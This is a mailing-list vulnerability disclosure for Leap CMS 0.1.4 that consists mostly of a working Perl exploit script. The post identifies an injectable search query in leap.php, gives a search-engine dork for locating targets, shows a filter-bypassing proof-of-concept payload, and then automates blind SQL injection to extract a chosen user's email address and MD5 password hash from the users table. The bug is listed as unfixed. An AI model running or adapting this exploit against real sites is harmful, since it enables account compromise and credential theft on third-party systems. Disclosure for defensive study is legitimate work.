BLIND SQL INJECTION--Leap CMS 0.1.4-->

From: y3nh4ck3r@gmail.com
To: bugtraq@securityfocus.com
Cc:
Subject: BLIND SQL INJECTION--Leap CMS 0.1.4-->
Date:


#!/usr/bin/perl
#-----------------------------------------------
#BLIND SQL INJECTION--Leap CMS 0.1.4-->
#-----------------------------------------------
#
#  CMS INFORMATION:
#
#-->WEB: http://leap.gowondesigns.com/
#-->DEMO: http://php.opensourcecms.com/scripts/details.php?scriptid=161&name=Leap
#-->CATEGORY: CMS / Lite
#-->DESCRIPTION: Leap is a single file, template independent, open-source,
#               standards-compliant,extensible content management system for the web...
#-->RELEASED: 2009-03-13
#
#  CMS VULNERABILITY:
#
#-->TESTED ON: firefox 3 and I-Explorer 6
#-->DORK: "Powered by Leap"
#-->CATEGORY: BLIND SQL INJECTION EXPLOIT
#-->AFFECT VERSION: 0.1.4 (maybe <= ?)
#-->Discovered Bug date: 2009-04-24
#-->Reported Bug date: 2009-04-24
#-->Fixed bug date: Not fixed 
#-->Info patch: Not fixed
#-->Author: YEnH4ckEr
#-->mail: y3nh4ck3r[at]gmail[dot]com
#-->WEB/BLOG: N/A
#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.
#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/leap.php
#
#
#
#function contentSearch() {
#
#       ...
#
#
#if($searchterm=='') return FALSE;
#
#        ...
#     
#     if (eregi(" AND | NOT | OR ",$search,$matches)) $search=str_replace($matches,'',$search);   <-------BYPASSED (/**/)
#         
#             $keywords = explode(' ', $search); //print_r($keywords);    <---------BYPASSED (/**/)
#         
#             ...
#          
#             $query = "SELECT * FROM ".db('prefix')."content WHERE published='1' AND";     <----------START QUERY
#
#         if ($keyCount > 1) {
#
#                 ...
#          
#             }
#            else {
#
#                    $query .=" (INSTR(`title`, '$keywords[0]') > '0' || INSTR(`body`, '$keywords[0]') > '0' || ...)";}  <--------INJECTION HERE
#                 $pquery=$query.';'; $query.=" ORDER BY mod_date DESC LIMIT $pg, $max;"; //echo $query;
#           
#                     ...
#
#               }
#
#}
#
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#SEARCH --> a')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#
#
#Return: Search for 'a'
#
#######################################################################
#######################################################################
##*******************************************************************##
##            ESPECIAL GREETZ TO: Str0ke, JosS, Ulises2K ...         ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##              GREETZ TO: SPANISH H4ck3Rs community!                ##
##*******************************************************************##
#######################################################################
#######################################################################
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
      my $SO = $^O;
 my $linux = "";
     if (index(lc($SO),"win")!=-1){
              $linux="0";
 }else{
                $linux="1";
 }               
      if($linux){
           system("clear");
    }
     else{
         system("cls");
              system ("title Leap CMS 0.1.4 (BLIND SQL Injection) Exploit");
              system ("color 04");
        }
}
sub request {
   my $userag = LWP::UserAgent->new;
        $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
        my $request = HTTP::Request -> new(POST => $_[0]);
  $request->content_type('application/x-www-form-urlencoded');
   $request->content($_[1]); 
       my $outcode= $userag->request($request)->as_string;
 return $outcode;
}
sub helper {
     print "\n\t[<-->] Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit\n";
      print "\t[<-->] USAGE MODE: [<-->]\n";
  print "\t[<-->] perl $0 [HOST] [PATH] [Search] [Id]\n";
   print "\t[<-->] [HOST]: Web.\n";
  print "\t[<-->] [PATH]: Home Path.\n";
    print "\t[<-->] [Search]: Something. Default: a (**optional)\n";
  print "\t[<-->] [id]: Id user. Default: 1 (**optional)\n";
        print "\t[<-->] Example: perl $0 'www.example.es' 'leap-CMS' 'a' '1'\n"; 
}
sub lengthuser{
#First, user length...
$exit=0;
$i=0;
    while($exit==0){
              my $searchinjected="searchterm=".$_[2]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/length(mail)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id=".$_[1].")=".$i++."#"; #injected code
            $output=&request($_[0],$searchinjected);
         if ( $output =~ (/No Results Found./))
                {
                     $exit=0;
              }else{
                        $exit=1;
              }
     }
#Save column length
$lengthuser=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tUser Length catched!\n";
print "\tUser Length: ".$lengthuser."\n";
print "\tBruteforcing values...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n";
return $lengthuser;
}
sub bruteforcing {
my $values="";
#Getting datas
$j=1;
 $i=46;
        while(($j<=$_[2]) && ($i<=126)){
          my $searchinjected="searchterm=".$_[4]."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/ascii(substring((SELECT/*y3nh4ck3r*/".$_[3]."/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$_[1]."'),".$j.",1))=".$i."#"; #injected code
              $output=&request($_[0],$searchinjected);
         if ( $output !~ (/No Results Found./))
                {
                     $values=$values.chr($i);
                      $j++;
                 $i=45;
                }
     if($i==57)
    {
             $i=63; #@
     }
     if($i==64)
    {
             $i=96;
        }
#new char
  $i++; 
        }
#Error
     if(($i>127) || ($j>$_[2])){
         if(!$values){
                 print "\t<<<<<--------------------------------------------------------->>>>>\n";
                  print "\tEXPLOIT FAILED!\n";
                        print "\tFatal error: Datas doesn't find!\n";
                  print "\tCause: Maybe you have to include more characters on bruteforcing...\n";
                    print "\t<<<<<--------------------------------------------------------->>>>>\n";
                  exit(1);
              }
     }
     
return $values;
}
#Main
&lw;
print "\t\t#######################################################\n\n";
print "\t\t#######################################################\n\n";
print "\t\t##   Leap CMS 0.1.4 - (BLIND SQL Injection) Exploit  ##\n\n";
print "\t\t##       ++Conditions: Need magic_quotes=off         ##\n\n";
print "\t\t##                  Author: Y3nh4ck3r                ##\n\n";
print "\t\t##          Contact:y3nh4ck3r[at]gmail[dot]com       ##\n\n";
print "\t\t##                  Proud to be Spanish!             ##\n\n";
print "\t\t#######################################################\n\n";
print "\t\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
#Build the uri
my $finalhost="http://".$host."/".$path."/index.php?search";
#Check all variables needed
$numArgs = $#ARGV + 1;
  if($numArgs<=1) 
 {
             &helper;
         exit(1);        
      }
#Search parameter. It's optional. Default:a
   if(!$ARGV[2]){
                $search="a";  
      }else{
                $search=$ARGV[2];       
      }
#Id-user is optional.Default:1
     if(!$ARGV[3]){
                $idhacked="1";        
      }else{
                $idhacked=$ARGV[3];     
      }
#Testing blind sql injection
my $finalrequest = $finalhost; 
#Test blind sql injection
my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/1=1#"; #injected code
$output=&request($finalrequest, $searchinjected);
if ( $output =~ (/No Results Found./))
{   
        print "\t<<<<<--------------------------------------------------------->>>>>\n";
  print "\tThis Web is not vulnerable!\n";
    print "\t--->Maybe:\n";
        print "\t1.-Patched or gpc_magic_quotes=off\n";
     print "\t2.-Search parameter hasn't found. Try other!\n";
      print "\tEXPLOIT FAILED!\n";
        print "\t<<<<<--------------------------------------------------------->>>>>\n";
  exit(1);
}else{ 
     print "\t<<<<<--------------------------------------------------------->>>>>\n";
  print "\tWeb is vulnerable!\n";
     print "\tTested Blind SQL Injection.\n";              
      print "\tChecking id user...\n"; 
   print "\t<<<<<--------------------------------------------------------->>>>>\n";
 
}      
#Test if user exists
my $searchinjected="searchterm=".$search."')>'1')/*y3nh4ck3r*/AND/*y3nh4ck3r*/(SELECT/*y3nh4ck3r*/COUNT(*)/*y3nh4ck3r*/FROM/*y3nh4ck3r*/users/*y3nh4ck3r*/WHERE/*y3nh4ck3r*/id='".$idhacked."')#"; #injected code
$output=&request($$finalrequest,$searchinjected);
if ( $output =~ (/No Results Found./))
{    
  print "\t<<<<<--------------------------------------------------------->>>>>\n";
  print "\tUser doesn't exists!\n";                
      print "\tEXPLOIT FAILED!\n";
        print "\t<<<<<--------------------------------------------------------->>>>>\n";
  exit(1); 
}else{ 

  print "\t<<<<<--------------------------------------------------------->>>>>\n";
  print "\tOK...The user exists!\n";            
      print "\tStarting exploit...\n"; 
   print "\t<<<<<--------------------------------------------------------->>>>>\n";
  print "\tWait several minutes...\n"; 
       print "\t<<<<<--------------------------------------------------------->>>>>\n";
} 
#Bruteforcing user...
$length_mail=&lengthuser($finalrequest,$idhacked,$search);
$email=&bruteforcing($finalrequest,$idhacked,$length_mail,'mail',$search);
if(length($email)!=$length_mail)
{
      print "\t<<<<<--------------------------------------------------------->>>>>\n";
  print "\tEXPLOIT FAILED!\n";
        print "\tFatal error: Different length email!\n";
   print "\tCause: Maybe you have to include more characters on bruteforcing...\n";
    print "\t<<<<<--------------------------------------------------------->>>>>\n";
  exit(1);
}

print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tGot user!\n";
print "\tBruteforcing password hash (md5)...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n";
#Bruteforcing password...
$passhash=&bruteforcing($finalrequest,$idhacked,32,'pwd',$search); #it isn't needed length
print "\n\t\t*************************************************\n";
print "\t\t****  EXPLOIT EXECUTED (LeapCMS 0.1.4 BSQLi) ****\n";
print "\t\t*************************************************\n\n";
print "\t\tUser-id:".$idhacked."\n";
print "\t\tE-mail:".$email."\n";
print "\t\tUser-password(hash):".$passhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done





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